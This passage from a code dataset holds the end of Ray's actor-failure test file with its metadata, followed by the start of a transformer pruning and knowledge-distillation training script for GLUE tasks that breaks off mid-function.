actor is dead because its reference is gone.\n # Q(sang): Should we raise RayACtorError in this case?\n with pytest.raises(RuntimeError, match=\"Lost reference to actor\") as exc_info:\n ray.get(Actor.remote().check_alive.remote())\n print(exc_info._excinfo[1])\n\n # Test actor killed by ray.kill\n a = Actor.remote()\n ray.kill(a)\n with pytest.raises(\n ray.exceptions.RayActorError, match=\"it was killed by `ray.kill\"\n ) as exc_info:\n ray.get(a.check_alive.remote())\n assert exc_info.value.actor_id == a._actor_id.hex()\n print(exc_info._excinfo[1])\n\n # Test actor killed because of worker failure.\n a = Actor.remote()\n pid = ray.get(a.check_alive.remote())\n os.kill(pid, 9)\n with pytest.raises(\n ray.exceptions.RayActorError,\n match=(\"The actor is dead because its worker process has died\"),\n ) as exc_info:\n ray.get(a.check_alive.remote())\n assert exc_info.value.actor_id == a._actor_id.hex()\n print(exc_info._excinfo[1])\n\n # Test acator killed because of owner failure.\n owner = Actor.remote()\n a = ray.get(owner.create_actor.remote())\n ray.kill(owner)\n with pytest.raises(\n ray.exceptions.RayActorError,\n match=\"The actor is dead because its owner has died\",\n ) as exc_info:\n ray.get(a.check_alive.remote())\n assert exc_info.value.actor_id == a._actor_id.hex()\n print(exc_info._excinfo[1])\n\n # Test actor killed because the node is dead.\n node_to_kill = cluster.add_node(resources={\"worker\": 1})\n a = Actor.options(resources={\"worker\": 1}).remote()\n ray.get(a.check_alive.remote())\n cluster.remove_node(node_to_kill)\n with pytest.raises(\n ray.exceptions.RayActorError,\n match=\"The actor is dead because its node has died.\",\n ) as exc_info:\n ray.get(a.check_alive.remote())\n assert exc_info.value.actor_id == a._actor_id.hex()\n print(exc_info._excinfo[1])\n\n\ndef test_utf8_actor_exception(ray_start_regular):\n @ray.remote\n class FlakyActor:\n def __init__(self):\n raise RuntimeError(\"你好呀，祝你有个好心情！\")\n\n def ping(self):\n return True\n\n actor = FlakyActor.remote()\n with pytest.raises(ray.exceptions.RayActorError):\n ray.get(actor.ping.remote())\n\n\n# https://github.com/ray-project/ray/issues/18908.\ndef test_failure_during_dependency_resolution(ray_start_regular):\n @ray.remote\n class Actor:\n def dep(self):\n while True:\n time.sleep(1)\n\n def foo(self, x):\n return x\n\n @ray.remote\n def foo():\n time.sleep(3)\n return 1\n\n a = Actor.remote()\n # Check that the actor is alive.\n ray.get(a.foo.remote(1))\n\n ray.kill(a, no_restart=False)\n dep = a.dep.remote()\n ref = a.foo.remote(dep)\n with pytest.raises(ray.exceptions.RayActorError):\n ray.get(ref)\n\n\ndef test_exit_actor(shutdown_only, tmp_path):\n \"\"\"\n Verify TypeError is raised when exit_actor is not used\n inside an actor.\n \"\"\"\n with pytest.raises(\n TypeError, match=\"exit_actor API is called on a non-actor worker\"\n ):\n exit_actor()\n\n @ray.remote\n def f():\n exit_actor()\n\n with pytest.raises(\n TypeError, match=\"exit_actor API is called on a non-actor worker\"\n ):\n ray.get(f.remote())\n\n \"\"\"\n Verify the basic case.\n \"\"\"\n\n @ray.remote\n class Actor:\n def exit(self):\n exit_actor()\n\n @ray.remote\n class AsyncActor:\n async def exit(self):\n exit_actor()\n\n a = Actor.remote()\n ray.get(a.__ray_ready__.remote())\n with pytest.raises(ray.exceptions.RayActorError) as exc_info:\n ray.get(a.exit.remote())\n assert \"exit_actor()\" in str(exc_info.value)\n\n b = AsyncActor.remote()\n ray.get(b.__ray_ready__.remote())\n with pytest.raises(ray.exceptions.RayActorError) as exc_info:\n ray.get(b.exit.remote())\n assert \"exit_actor()\" in str(exc_info.value)\n\n \"\"\"\n Verify atexit handler is called correctly.\n \"\"\"\n sync_temp_file = tmp_path / \"actor.log\"\n async_temp_file = tmp_path / \"async_actor.log\"\n sync_temp_file.touch()\n async_temp_file.touch()\n\n @ray.remote\n class Actor:\n def __init__(self):\n def f():\n print(\"atexit handler\")\n with open(sync_temp_file, \"w\") as f:\n f.write(\"Actor\\n\")\n\n atexit.register(f)\n\n def exit(self):\n exit_actor()\n\n @ray.remote\n class AsyncActor:\n def __init__(self):\n def f():\n print(\"atexit handler\")\n with open(async_temp_file, \"w\") as f:\n f.write(\"Async Actor\\n\")\n\n atexit.register(f)\n\n async def exit(self):\n exit_actor()\n\n a = Actor.remote()\n ray.get(a.__ray_ready__.remote())\n b = AsyncActor.remote()\n ray.get(b.__ray_ready__.remote())\n with pytest.raises(ray.exceptions.RayActorError):\n ray.get(a.exit.remote())\n with pytest.raises(ray.exceptions.RayActorError):\n ray.get(b.exit.remote())\n\n def verify():\n with open(async_temp_file) as f:\n assert f.readlines() == [\"Async Actor\\n\"]\n with open(sync_temp_file) as f:\n assert f.readlines() == [\"Actor\\n\"]\n return True\n\n wait_for_condition(verify)\n\n\ndef test_exit_actor_queued(shutdown_only):\n \"\"\"Verify after exit_actor is called the queued tasks won't execute.\"\"\"\n\n @ray.remote\n class RegressionSync:\n def f(self):\n import time\n\n time.sleep(1)\n exit_actor()\n\n def ping(self):\n pass\n\n @ray.remote\n class RegressionAsync:\n async def f(self):\n await asyncio.sleep(1)\n exit_actor()\n\n def ping(self):\n pass\n\n # Test async case.\n # https://github.com/ray-project/ray/issues/32376\n # If we didn't fix this issue, this will segfault.\n a = RegressionAsync.remote()\n a.f.remote()\n refs = [a.ping.remote() for _ in range(10000)]\n with pytest.raises(ray.exceptions.RayActorError) as exc_info:\n ray.get(refs)\n assert \" Worker unexpectedly exits\" not in str(exc_info.value)\n\n # Test a sync case.\n a = RegressionSync.remote()\n a.f.remote()\n with pytest.raises(ray.exceptions.RayActorError) as exc_info:\n ray.get([a.ping.remote() for _ in range(10000)])\n assert \" Worker unexpectedly exits\" not in str(exc_info.value)\n\n\nif __name__ == \"__main__\":\n import pytest\n\n if os.environ.get(\"PARALLEL_CI\"):\n sys.exit(pytest.main([\"-n\", \"auto\", \"--boxed\", \"-vs\", __file__]))\n else:\n sys.exit(pytest.main([\"-sv\", __file__]))\n", "repo_name": "ray-project/ray", "sub_path": "python/ray/tests/test_actor_failures.py", "file_name": "test_actor_failures.py", "file_ext": "py", "file_size_in_byte": 28369, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 28715, "dataset": "github-code", "pt": "86", "api": [{"api_name": "sys.platform", "line_number": 21, "usage_type": "attribute"}, {"api_name": "signal.SIGKILL", "line_number": 21, "usage_type": "attribute"}, {"api_name": "signal.SIGTERM", "line_number": 21, "usage_type": "attribute"}, {"api_name": "ray.init", "line_number": 26, "usage_type": "call"}, {"api_name": "ray.shutdown", "line_number": 28, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 24, "usage_type": "attribute"}, {"api_name": "numpy.random.rand", "line_number": 50, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 50, "usage_type": "attribute"}, {"api_name": "ray.remote", "line_number": 44, "usage_type": "attribute"}, {"api_name": "ray.get", "line_number": 61, "usage_type": "call"}, {"api_name": "ray.get", "line_number": 67, "usage_type": "call"}, {"api_name": "numpy.ndarray", "line_number": 68, "usage_type": "attribute"}, {"api_name": "pytest.mark.parametrize", "line_number": 31, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 31, "usage_type": "attribute"}, {"api_name": "pytest.mark.skipif", "line_number": 40, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 40, "usage_type": "attribute"}, {"api_name": "sys.platform", "line_number": 40, "usage_type": "attribute"}, {"api_name": "os._exit", "line_number": 86, "usage_type": "call"}, {"api_name": "os.getpid", "line_number": 91, "usage_type": "call"}, {"api_name": "ray.remote", "line_number": 77, "usage_type": "call"}, {"api_name": "ray.get", "line_number": 101, "usage_type": "call"}, {"api_name": "ray.exceptions", "line_number": 108, "usage_type": "attribute"}, {"api_name": "ray.get", "line_number": 113, "usage_type": "call"}, {"api_name": "ray.exceptions", "line_number": 114, "usage_type": "attribute"}, {"api_name": "ray.get", "line_number": 123, "usage_type": "call"}, {"api_name": "ray.get", "line_number": 129, "usage_type": "call"}, {"api_name": "ray.get", "line_number": 134, "usage_type": "call"}, {"api_name": "ray.exceptions", "line_number": 136, "usage_type": "attribute"}, {"api_name": "ray._private.test_utils.wait_for_condition", "line_number": 139, "usage_type": "call"}, {"api_name": "pytest.raises", "line_number": 145, "usage_type": "call"}, {"api_name": "ray.exceptions", "line_number": 145, "usage_type": "attribute"}, {"api_name": "ray.get", "line_number": 146, "usage_type": "call"}, {"api_name": "pytest.raises", "line_number": 153, "usage_type": "call"}, {"api_name": "ray.exceptions", "line_number": 153, "usage_type": "attribute"}, {"api_name": "ray.get", "line_number": 154, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 168, "usage_type": "call"}, {"api_name": "os.getpid", "line_number": 173, "usage_type": "call"}, {"api_name": "ray.remote", "line_number": 160, "usage_type": "call"}, {"api_name": "ray.get", "line_number": 176, "usage_type": "call"}, {"api_name": "os.kill", "line_number": 179, "usage_type": "call"}, {"api_name": "ray._private.test_utils.wait_for_pid_to_exit", "line_number": 180, "usage_type": "call"}, {"api_name": "ray.get", "line_number": 183, "usage_type": "call"}, {"api_name": "ray.get", "line_number": 195, "usage_type": "call"}, {"api_name": "ray.get", "line_number": 199, "usage_type": "call"}, {"api_name": "os.kill", "line_number": 200, "usage_type": "call"}, {"api_name": "ray._private.test_utils.wait_for_pid_to_exit", "line_number": 201, "usage_type": "call"}, {"api_name": "pytest.raises", "line_number": 203, "usage_type": "call"}, {"api_name": "ray.exceptions", "line_number": 203, "usage_type": "attribute"}, {"api_name": "ray.get", "line_number": 204, "usage_type": "call"}, {"api_name": "pytest.raises", "line_number": 211, "usage_type": "call"}, {"api_name": "ray.exceptions", "line_number": 211, "usage_type": "attribute"}, {"api_name": "ray.get", "line_number": 212, "usage_type": "call"}, {"api_name": "asyncio.Event", "line_number": 220, "usage_type": "call"}, {"api_name": "ray.remote", "line_number": 216, "usage_type": "call"}, {"api_name": "ray.get", "line_number": 240, "usage_type": "call"}, {"api_name": "signal.wait.remote", "line_number": 240, "usage_type": "call"}, {"api_name": "signal.wait", "line_number": 240, "usage_type": "attribute"}, {"api_name": "ray.remote", "line_number": 233, "usage_type": "attribute"}, {"api_name": "ray.get_actor", "line_number": 245, "usage_type": "call"}, {"api_name": "ray.get", "line_number": 248, "usage_type": "call"}, {"api_name": "ray.remote", "line_number": 242, "usage_type": "attribute"}, {"api_name": "ray._private.test_utils.SignalActor.remote", "line_number": 252, "usage_type": "call"}, {"api_name": "ray._private.test_utils.SignalActor", "line_number": 252, "usage_type": "name"}, {"api_name": "ray.get", "line_number": 259, "usage_type": "call"}, {"api_name": "ray.get", "line_number": 266, "usage_type": "call"}, {"api_name": "ray.kill", "line_number": 267, "usage_type": "call"}, {"api_name": "ray.get", "line_number": 268, "usage_type": "call"}, {"api_name": "ray.get", "line_number": 269, "usage_type": "call"}, {"api_name": "signal.send.remote", "line_number": 272, "usage_type": "call"}, {"api_name": "signal.send", "line_number": 272, "usage_type": "attribute"}, {"api_name": "ray.get", "line_number": 273, "usage_type": "call"}, {"api_name": "ray.init", "line_number": 288, "usage_type": "call"}, {"api_name": "ray.remote", "line_number": 294, "usage_type": "call"}, {"api_name": "ray.get", "line_number": 309, "usage_type": "call"}, {"api_name": "ray.get", "line_number": 317, "usage_type": "call"}, {"api_name": "ray.get", "line_number": 328, "usage_type": "call"}, {"api_name": "ray.get", "line_number": 344, "usage_type": "call"}, {"api_name": "os.getpid", "line_number": 347, "usage_type": "call"}, {"api_name": "ray.remote", "line_number": 336, "usage_type": "call"}, {"api_name": "ray.remote", "line_number": 349, "usage_type": "call"}, {"api_name": "ray.get", "line_number": 364, "usage_type": "call"}, {"api_name": "ray.get", "line_number": 371, "usage_type": "call"}, {"api_name": "ray.get", "line_number": 380, "usage_type": "call"}, {"api_name": "os._exit", "line_number": 384, "usage_type": "call"}, {"api_name": "ray.remote", "line_number": 378, "usage_type": "call"}, {"api_name": "ray.remote", "line_number": 386, "usage_type": "call"}, {"api_name": "ray.get", "line_number": 399, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 436, "usage_type": "call"}, {"api_name": "ray.remote", "line_number": 430, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 444, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 448, "usage_type": "call"}, {"api_name": "ray.get", "line_number": 471, "usage_type": "call"}, {"api_name": "pytest.mark.skipif", "line_number": 402, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 402, "usage_type": "attribute"}, {"api_name": "sys.platform", "line_number": 402, "usage_type": "attribute"}, {"api_name": "pytest.mark.parametrize", "line_number": 407, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 407, "usage_type": "attribute"}, {"api_name": "ray._private.test_utils.generate_system_config_map", "line_number": 410, "usage_type": "call"}, {"api_name": "ray.get", "line_number": 481, "usage_type": "call"}, {"api_name": "os.kill", "line_number": 482, "usage_type": "call"}, {"api_name": "ray._private.test_utils.wait_for_pid_to_exit", "line_number": 483, "usage_type": "call"}, {"api_name": "ray.remote", "line_number": 503, "usage_type": "attribute"}, {"api_name": "ray.ObjectRef", "line_number": 512, "usage_type": "attribute"}, {"api_name": "ray.get", "line_number": 514, "usage_type": "call"}, {"api_name": "os.getpid", "line_number": 537, "usage_type": "call"}, {"api_name": "ray.remote", "line_number": 534, "usage_type": "attribute"}, {"api_name": "os.getpid", "line_number": 546, "usage_type": "call"}, {"api_name": "ray._private.test_utils.SignalActor.remote", "line_number": 549, "usage_type": "call"}, {"api_name": "ray._private.test_utils.SignalActor", "line_number": 549, "usage_type": "name"}, {"api_name": "os.getpid", "line_number": 554, "usage_type": "call"}, {"api_name": "ray._private.test_utils.SignalActor.remote", "line_number": 555, "usage_type": "call"}, {"api_name": "ray._private.test_utils.SignalActor", "line_number": 555, "usage_type": "name"}, {"api_name": "ray.get", "line_number": 558, "usage_type": "call"}, {"api_name": "os._exit", "line_number": 560, "usage_type": "call"}, {"api_name": "ray.remote", "line_number": 543, "usage_type": "attribute"}, {"api_name": "ray.get", "line_number": 567, "usage_type": "call"}, {"api_name": "ray._private.test_utils.wait_for_pid_to_exit", "line_number": 569, "usage_type": "call"}, {"api_name": "ray.get", "line_number": 572, "usage_type": "call"}, {"api_name": "ray.remote", "line_number": 562, "usage_type": "attribute"}, {"api_name": "ray.get", "line_number": 578, "usage_type": "call"}, {"api_name": "ray._private.test_utils.wait_for_pid_to_exit", "line_number": 583, "usage_type": "call"}, {"api_name": "ray._private.test_utils.wait_for_condition", "line_number": 585, "usage_type": "call"}, {"api_name": "ray.get", "line_number": 585, "usage_type": "call"}, {"api_name": "pytest.mark.parametrize", "line_number": 517, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 517, "usage_type": "attribute"}, {"api_name": "os.getpid", "line_number": 608, "usage_type": "call"}, {"api_name": "ray.remote", "line_number": 605, "usage_type": "attribute"}, {"api_name": "os.getpid", "line_number": 618, "usage_type": "call"}, {"api_name": "ray._private.test_utils.SignalActor.remote", "line_number": 621, "usage_type": "call"}, {"api_name": "ray._private.test_utils.SignalActor", "line_number": 621, "usage_type": "name"}, {"api_name": "os.getpid", "line_number": 626, "usage_type": "call"}, {"api_name": "ray._private.test_utils.SignalActor.remote", "line_number": 627, "usage_type": "call"}, {"api_name": "ray._private.test_utils.SignalActor", "line_number": 627, "usage_type": "name"}, {"api_name": "ray.get", "line_number": 630, "usage_type": "call"}, {"api_name": "ray.remote", "line_number": 615, "usage_type": "call"}, {"api_name": "ray.get", "line_number": 637, "usage_type": "call"}, {"api_name": "ray._private.test_utils.wait_for_pid_to_exit", "line_number": 639, "usage_type": "call"}, {"api_name": "ray.get", "line_number": 642, "usage_type": "call"}, {"api_name": "ray.remote", "line_number": 632, "usage_type": "call"}, {"api_name": "ray.get", "line_number": 652, "usage_type": "call"}, {"api_name": "ray.get", "line_number": 655, "usage_type": "call"}, {"api_name": "ray._private.test_utils.wait_for_pid_to_exit", "line_number": 657, "usage_type": "call"}, {"api_name": "ray._private.test_utils.wait_for_condition", "line_number": 660, "usage_type": "call"}, {"api_name": "ray.get", "line_number": 660, "usage_type": "call"}, {"api_name": "pytest.mark.parametrize", "line_number": 588, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 588, "usage_type": "attribute"}, {"api_name": "ray.remote", "line_number": 664, "usage_type": "attribute"}, {"api_name": "ray.get", "line_number": 678, "usage_type": "call"}, {"api_name": "os.getpid", "line_number": 681, "usage_type": "call"}, {"api_name": "ray.remote", "line_number": 672, "usage_type": "call"}, {"api_name": "ray.init", "line_number": 683, "usage_type": "call"}, {"api_name": "ray.get", "line_number": 685, "usage_type": "call"}, {"api_name": "os.kill", "line_number": 686, "usage_type": "call"}, {"api_name": "ray.get", "line_number": 687, "usage_type": "call"}, {"api_name": "ray.init", "line_number": 693, "usage_type": "call"}, {"api_name": "os.getpid", "line_number": 698, "usage_type": "call"}, {"api_name": "ray.remote", "line_number": 695, "usage_type": "attribute"}, {"api_name": "pytest.raises", "line_number": 706, "usage_type": "call"}, {"api_name": "ray.get", "line_number": 707, "usage_type": "call"}, {"api_name": "ray.kill", "line_number": 712, "usage_type": "call"}, {"api_name": "pytest.raises", "line_number": 713, "usage_type": "call"}, {"api_name": "ray.exceptions", "line_number": 714, "usage_type": "attribute"}, {"api_name": "ray.get", "line_number": 716, "usage_type": "call"}, {"api_name": "ray.get", "line_number": 722, "usage_type": "call"}, {"api_name": "os.kill", "line_number": 723, "usage_type": "call"}, {"api_name": "pytest.raises", "line_number": 724, "usage_type": "call"}, {"api_name": "ray.exceptions", "line_number": 725, "usage_type": "attribute"}, {"api_name": "ray.get", "line_number": 728, "usage_type": "call"}, {"api_name": "ray.get", "line_number": 734, "usage_type": "call"}, {"api_name": "ray.kill", "line_number": 735, "usage_type": "call"}, {"api_name": "pytest.raises", "line_number": 736, "usage_type": "call"}, {"api_name": "ray.exceptions", "line_number": 737, "usage_type": "attribute"}, {"api_name": "ray.get", "line_number": 740, "usage_type": "call"}, {"api_name": "ray.get", "line_number": 747, "usage_type": "call"}, {"api_name": "pytest.raises", "line_number": 749, "usage_type": "call"}, {"api_name": "ray.exceptions", "line_number": 750, "usage_type": "attribute"}, {"api_name": "ray.get", "line_number": 753, "usage_type": "call"}, {"api_name": "ray.remote", "line_number": 759, "usage_type": "attribute"}, {"api_name": "pytest.raises", "line_number": 768, "usage_type": "call"}, {"api_name": "ray.exceptions", "line_number": 768, "usage_type": "attribute"}, {"api_name": "ray.get", "line_number": 769, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 778, "usage_type": "call"}, {"api_name": "ray.remote", "line_number": 774, "usage_type": "attribute"}, {"api_name": "time.sleep", "line_number": 785, "usage_type": "call"}, {"api_name": "ray.remote", "line_number": 783, "usage_type": "attribute"}, {"api_name": "ray.get", "line_number": 790, "usage_type": "call"}, {"api_name": "ray.kill", "line_number": 792, "usage_type": "call"}, {"api_name": "pytest.raises", "line_number": 795, "usage_type": "call"}, {"api_name": "ray.exceptions", "line_number": 795, "usage_type": "attribute"}, {"api_name": "ray.get", "line_number": 796, "usage_type": "call"}, {"api_name": "pytest.raises", "line_number": 804, "usage_type": "call"}, {"api_name": "ray.actor.exit_actor", "line_number": 807, "usage_type": "call"}, {"api_name": "ray.actor.exit_actor", "line_number": 811, "usage_type": "call"}, {"api_name": "ray.remote", "line_number": 809, "usage_type": "attribute"}, {"api_name": "pytest.raises", "line_number": 813, "usage_type": "call"}, {"api_name": "ray.get", "line_number": 816, "usage_type": "call"}, {"api_name": "ray.actor.exit_actor", "line_number": 825, "usage_type": "call"}, {"api_name": "ray.remote", "line_number": 822, "usage_type": "attribute"}, {"api_name": "ray.actor.exit_actor", "line_number": 830, "usage_type": "call"}, {"api_name": "ray.remote", "line_number": 827, "usage_type": "attribute"}, {"api_name": "ray.get", "line_number": 833, "usage_type": "call"}, {"api_name": "pytest.raises", "line_number": 834, "usage_type": "call"}, {"api_name": "ray.exceptions", "line_number": 834, "usage_type": "attribute"}, {"api_name": "ray.get", "line_number": 835, "usage_type": "call"}, {"api_name": "ray.get", "line_number": 839, "usage_type": "call"}, {"api_name": "pytest.raises", "line_number": 840, "usage_type": "call"}, {"api_name": "ray.exceptions", "line_number": 840, "usage_type": "attribute"}, {"api_name": "ray.get", "line_number": 841, "usage_type": "call"}, {"api_name": "atexit.register", "line_number": 860, "usage_type": "call"}, {"api_name": "ray.actor.exit_actor", "line_number": 863, "usage_type": "call"}, {"api_name": "ray.remote", "line_number": 852, "usage_type": "attribute"}, {"api_name": "atexit.register", "line_number": 873, "usage_type": "call"}, {"api_name": "ray.actor.exit_actor", "line_number": 876, "usage_type": "call"}, {"api_name": "ray.remote", "line_number": 865, "usage_type": "attribute"}, {"api_name": "ray.get", "line_number": 879, "usage_type": "call"}, {"api_name": "ray.get", "line_number": 881, "usage_type": "call"}, {"api_name": "pytest.raises", "line_number": 882, "usage_type": "call"}, {"api_name": "ray.exceptions", "line_number": 882, "usage_type": "attribute"}, {"api_name": "ray.get", "line_number": 883, "usage_type": "call"}, {"api_name": "pytest.raises", "line_number": 884, "usage_type": "call"}, {"api_name": "ray.exceptions", "line_number": 884, "usage_type": "attribute"}, {"api_name": "ray.get", "line_number": 885, "usage_type": "call"}, {"api_name": "ray._private.test_utils.wait_for_condition", "line_number": 894, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 905, "usage_type": "call"}, {"api_name": "ray.actor.exit_actor", "line_number": 906, "usage_type": "call"}, {"api_name": "ray.remote", "line_number": 900, "usage_type": "attribute"}, {"api_name": "asyncio.sleep", "line_number": 914, "usage_type": "call"}, {"api_name": "ray.actor.exit_actor", "line_number": 915, "usage_type": "call"}, {"api_name": "ray.remote", "line_number": 911, "usage_type": "attribute"}, {"api_name": "pytest.raises", "line_number": 926, "usage_type": "call"}, {"api_name": "ray.exceptions", "line_number": 926, "usage_type": "attribute"}, {"api_name": "ray.get", "line_number": 927, "usage_type": "call"}, {"api_name": "{'time': 'time'}.remote", "line_number": 931, "usage_type": "call"}, {"api_name": "pytest.raises", "line_number": 933, "usage_type": "call"}, {"api_name": "ray.exceptions", "line_number": 933, "usage_type": "attribute"}, {"api_name": "ray.get", "line_number": 934, "usage_type": "call"}, {"api_name": "os.environ.get", "line_number": 941, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 941, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 942, "usage_type": "call"}, {"api_name": "pytest.main", "line_number": 942, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 944, "usage_type": "call"}, {"api_name": "pytest.main", "line_number": 944, "usage_type": "call"}]} +{"seq_id": "17112434667", "text": "from __future__ import absolute_import, division, print_function\n\nimport argparse\nimport glob\nimport logging\nimport os\nimport random\n\nimport numpy as np\nimport torch\nfrom torch.utils.data import (DataLoader, RandomSampler, SequentialSampler,\n TensorDataset)\nfrom torch.utils.data.distributed import DistributedSampler\nfrom tensorboardX import SummaryWriter\nfrom tqdm import tqdm, trange\n\nfrom transformers.trainer_utils import is_main_process\nfrom transformers import (WEIGHTS_NAME, BertConfig, DebertaForSequenceClassification, DebertaTokenizer, DebertaConfig, ElectraForSequenceClassification, ElectraConfig, ElectraTokenizer,\n BertForSequenceClassification, BertTokenizer,\n RobertaConfig,\n RobertaForSequenceClassification,\n RobertaTokenizer,\n XLMConfig, XLMForSequenceClassification,\n XLMTokenizer, XLNetConfig,\n XLNetForSequenceClassification,\n XLNetTokenizer, AdamW, get_linear_schedule_with_warmup, AutoModelForSequenceClassification)\nfrom transformers import glue_compute_metrics as compute_metrics\nfrom transformers import glue_convert_examples_to_features as convert_examples_to_features\nfrom transformers import glue_output_modes as output_modes\nfrom transformers import glue_processors as processors\nimport transformers\n\nfrom Pruner import *\nfrom entropy import calc_entropy\n\nlogger = logging.getLogger(__name__)\n\n\nMODEL_CLASSES = {\n 'bert': (BertConfig, BertForSequenceClassification, BertTokenizer),\n 'xlnet': (XLNetConfig, XLNetForSequenceClassification, XLNetTokenizer),\n 'xlm': (XLMConfig, XLMForSequenceClassification, XLMTokenizer),\n 'roberta': (RobertaConfig, RobertaForSequenceClassification, RobertaTokenizer),\n 'deberta': (DebertaConfig, DebertaForSequenceClassification, DebertaTokenizer),\n 'electra': (ElectraConfig, ElectraForSequenceClassification, ElectraTokenizer),\n}\n\n\ndef set_seed(args):\n random.seed(args.seed)\n np.random.seed(args.seed)\n torch.manual_seed(args.seed)\n if args.n_gpu > 0:\n torch.cuda.manual_seed_all(args.seed)\n\n\ndef adaptive_kd_alpha(logits):\n num_classes = logits.shape[-1]\n dummy_tensor = torch.tensor([0.0]*num_classes).to(logits.device)\n max_entropy = calc_entropy(dummy_tensor).item()\n entropy = calc_entropy(logits)\n kd_coefficient = 1 - entropy / max_entropy\n return kd_coefficient\n\ndef kl(logits_t, logits, temp):\n p_t = torch.softmax(logits_t / temp, dim=-1)\n logp = torch.log_softmax(logits / temp, dim=-1)\n kl_divergence = -torch.sum(p_t*logp, dim=-1)\n return kl_divergence * (temp**2)\n\n\ndef train(args, train_dataset, model, tokenizer, teacher=None):\n \"\"\" Train the model \"\"\"\n if args.local_rank in [-1, 0]:\n tb_writer = SummaryWriter()\n\n args.train_batch_size = args.per_gpu_train_batch_size * max(1, args.n_gpu)\n train_sampler = RandomSampler(train_dataset) if args.local_rank == -1 else DistributedSampler(train_dataset)\n train_dataloader = DataLoader(train_dataset, sampler=train_sampler, batch_size=args.train_batch_size)\n\n if args.max_steps > 0:\n t_total = args.max_steps\n args.num_train_epochs = args.max_steps // (len(train_dataloader) // args.gradient_accumulation_steps) + 1\n else:\n t_total = len(train_dataloader) // args.gradient_accumulation_steps * args.num_train_epochs\n\n # Prepare optimizer and schedule (linear warmup and decay)\n no_decay = ['bias', 'LayerNorm.weight']\n optimizer_grouped_parameters = [\n {'params': [p for n, p in model.named_parameters() if not any(nd in n for nd in no_decay)],\n 'weight_decay': args.weight_decay},\n {'params': [p for n, p in model.named_parameters() if any(nd in n for nd in no_decay)], 'weight_decay': 0.0}\n ]\n optimizer = AdamW(optimizer_grouped_parameters, lr=args.learning_rate, eps=args.adam_epsilon)\n scheduler = get_linear_schedule_with_warmup(\n optimizer, num_warmup_steps=args.warmup_steps, num_training_steps=t_total\n )\n if args.fp16:\n try:\n from apex import amp\n except ImportError:\n raise ImportError(\"Please install apex from https://www.github.com/nvidia/apex to use fp16 training.\")\n model, optimizer = amp.initialize(model, optimizer, opt_level=args.fp16_opt_level)\n\n # multi-gpu training (should be after apex fp16 initialization)\n if args.n_gpu > 1:\n model = torch.nn.DataParallel(model)\n\n # Distributed training (should be after apex fp16 initialization)\n if args.local_rank != -1:\n model = torch.nn.parallel.DistributedDataParallel(model, device_ids=[args.local_rank],\n output_device=args.local_rank,\n find_unused_parameters=True)\n\n # Train!\n logger.info(\"***** Running training *****\")\n logger.info(\" Num examples = %d\", len(train_dataset))\n logger.info(\" Num Epochs = %d\", args.num_train_epochs)\n logger.info(\" Instantaneous batch size per GPU = %d\", args.per_gpu_train_batch_size)\n logger.info(\" Total train batch size (w. parallel, distributed & accumulation) = %d\",\n args.train_batch_size * args.gradient_accumulation_steps * (\n torch.distributed.get_world_size() if args.local_rank != -1 else 1))\n logger.info(\" Gradient Accumulation steps = %d\", args.gradient_accumulation_steps)\n logger.info(\" Total optimization steps = %d\", t_total)\n # Distillation\n if teacher is not None:\n logger.info(\" Training with distillation\")\n No = os.path.split(args.output_dir)[-1].split('_')[0]\n\n epochs_trained = 0\n global_step = 0\n tr_loss, logging_loss = 0.0, 0.0\n model.zero_grad()\n train_iterator = trange(int(args.num_train_epochs), desc=\"Epoch\", disable=args.local_rank not in [-1, 0])\n set_seed(args) # Added here for reproductibility (even between python 2 and 3)\n\n # Define the model pruner\n pruner = PINS(model, args=args, total_step=t_total, tb_writer=tb_writer, \\\n use_no_mask=False, pruner_name=args.pruner_name)\n\n from copy import deepcopy\n best_eval_ckpt = deepcopy(teacher.state_dict())\n best_eval_metric = -999.0\n best_eval_metric_stu = -999.0\n teacher_updated = False\n sparse_teacher = False\n\n for _ in train_iterator:\n epoch_iterator = tqdm(train_dataloader, desc=\"Iteration\", disable=args.local_rank not in [-1, 0])\n for step, batch in enumerate(epoch_iterator):\n model.train()\n batch = tuple(t.to(args.device) for t in batch)\n inputs = {'input_ids': batch[0],\n 'attention_mask': batch[1],\n 'token_type_ids': batch[2] if args.model_type in ['bert', 'xlnet'] else None,\n # XLM don't use segment_ids\n }\n outputs = model(**inputs)\n logits = outputs[0] \n loss_fct = torch.nn.CrossEntropyLoss(reduction=\"none\")\n # (batch_size, )\n ce_loss = loss_fct(logits.view(-1, model.config.num_labels), batch[3].view(-1))\n\n # Distillation loss\n if teacher is not None:\n if \"token_type_ids\" not in inputs:\n inputs[\"token_type_ids\"] = None if args.teacher_type == \"xlm\" else batch[2]\n if teacher_updated:\n # update teacher's parameters\n teacher.load_state_dict(best_eval_ckpt)\n teacher_updated = False\n with torch.no_grad():\n logits_tea = teacher(\n input_ids=inputs[\"input_ids\"],\n token_type_ids=inputs[\"token_type_ids\"],\n attention_mask=inputs[\"attention_mask\"],\n )[0]\n\n # adaptive knowledge distillation coefficient\n # (batch_size, )\n kd_alpha = adaptive_kd_alpha(logits.clone().detach()).detach()\n\n # adjust for MNLI\n if args.task_name.lower() == 'mnli' and not sparse_teacher:\n logits_tea = torch.cat([logits_tea[:, 1:], logits_tea[:, 0].unsqueeze(-1)], dim=-1)\n if args.task_name != 'sts-b':\n # (batch_size, )\n loss_logits = (\n torch.nn.functional.kl_div(\n input=torch.nn.functional.log_softmax(logits / args.temperature, dim=-1),\n target=torch.nn.functional.softmax(logits_tea / args.temperature, dim=-1),\n reduction=\"sum\",\n )\n * (args.temperature ** 2)\n )\n loss_logits = kl(logits_tea, logits, args.temperature)\n 